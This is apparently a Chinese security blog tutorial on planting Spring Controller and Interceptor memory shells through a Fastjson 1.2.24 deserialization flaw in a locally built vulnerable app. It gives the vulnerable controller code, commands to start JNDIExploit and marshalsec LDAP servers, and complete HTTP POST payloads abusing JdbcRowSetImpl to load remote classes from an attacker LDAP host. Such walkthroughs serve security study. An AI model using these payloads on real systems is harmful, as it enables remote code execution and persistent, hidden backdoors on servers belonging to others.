新手友好,spring内存马学习篇二

2025-03-14 6 0

反序列化注入内存马

Fastjson靶场搭建

我们在前面的springboot项目上引入fastjson,模拟一下漏洞环境

<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.2.24</version>
</dependency>

新建一个FastJsonController控制器,指定post请求方式,触发恶意代码

package org.example.springmemory.controller;

import com.alibaba.fastjson.JSON;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;


@Controller
public class FastJsonController {

  @ResponseBody
  @RequestMapping(value = "/FastJson", method = RequestMethod.POST)
  public String test(@RequestBody String vul){
      System.out.println(vul);
      JSON.parseObject(vul);
      return vul;
  }
}

使用简易payload测试效果,可以看见是没有问题的

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 0.0.0.0

POST /FastJson HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 273
Content-Type: application/json; charset=utf-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9

{
  "a":{
      "@type":"java.lang.Class",
      "val":"com.sun.rowset.JdbcRowSetImpl"
  },
  "b":{
      "@type":"com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName":"ldap://192.168.1.8:1389/Basic/Command/calc",
      "autoCommit":true
  }
}

Controller内存马

Class编写

由于前面在分析该内存马的时候,都是在java文件里面编写的,不像《Tomcat内存马》使用jsp编写,还需要转换语法。这里直接在项目根目录新建一个文件,把代码copy过来即可

这里用的是addController2代码,已经补充在 Controller小节,一开始我是用的addController代码,执行不成功,被他坑了好久,后面debug才发现问题所在

先把恶意代码复制过来,这里不用内部类了,直接把方法写在本类

老样子,在类的static里面写,用try/catch捕获异常

复制过来记得把类名改一下

下面两个地方修改即可。没有用内部类,那个exec方法现在就在本类,所以类方法所在类是本类,包括下面new的时候也是一样,new本类。

启动项目,编译没有问题,这里我提前访问了一下shell地址,确保不是等一下打不是缓存,现在是没有这个路径的

运行内存马

我们找到ControllerMemory文件所在目录启动http服务,用marshalsec工具挂载ldap服务

发送payload,看见所有请求正常

执行成功了

Interception内存马

Class编写

新建一个InterceptorMemory类,继承HandlerInterceptor类,把前面的ShellInterception类代码复制过来

在InterceptorMemory类里面写入执行恶意代码部分,我们的static部分,把controller下的ShellInterceptor的执行部分复制过来

项目能正常启动并且也编译成功了

运行内存马

我们找到InterceptorMemory文件所在目录启动http服务,用marshalsec工具挂载ldap服务

发送payload,看见所有请求正常

POST /FastJson HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 272
Content-Type: application/json; charset=utf-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9

{
  "a":{
      "@type":"java.lang.Class",
      "val":"com.sun.rowset.JdbcRowSetImpl"
  },
  "b":{
      "@type":"com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName":"ldap://192.168.1.8:9999/InterceptorMemory",
      "autoCommit":true
  }
}

执行成功了

参考&鸣谢

https://spring.io/

https://goodapple.top/archives/1355#leftbar_tab_catalog

https://blog.csdn.net/Daisy74RJ/article/details/106565657

https://blog.csdn.net/aiains/article/details/139217733


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

朝鲜APT组织ScarCruft使用新型Android间谍软件KoSpy瞄准韩语和英语用户
成功破解加密机制,研究人员解锁LinuxESXi Akira勒索软件
新型XCSSET恶意软件利用增强混淆技术攻击macOS用户
关于CC链1中的一些问题分析
从零开始搭建:基于本地DeepSeek的Web蜜罐自动化识别
警惕!AI组件ComfyUI易被黑产盯上

发布评论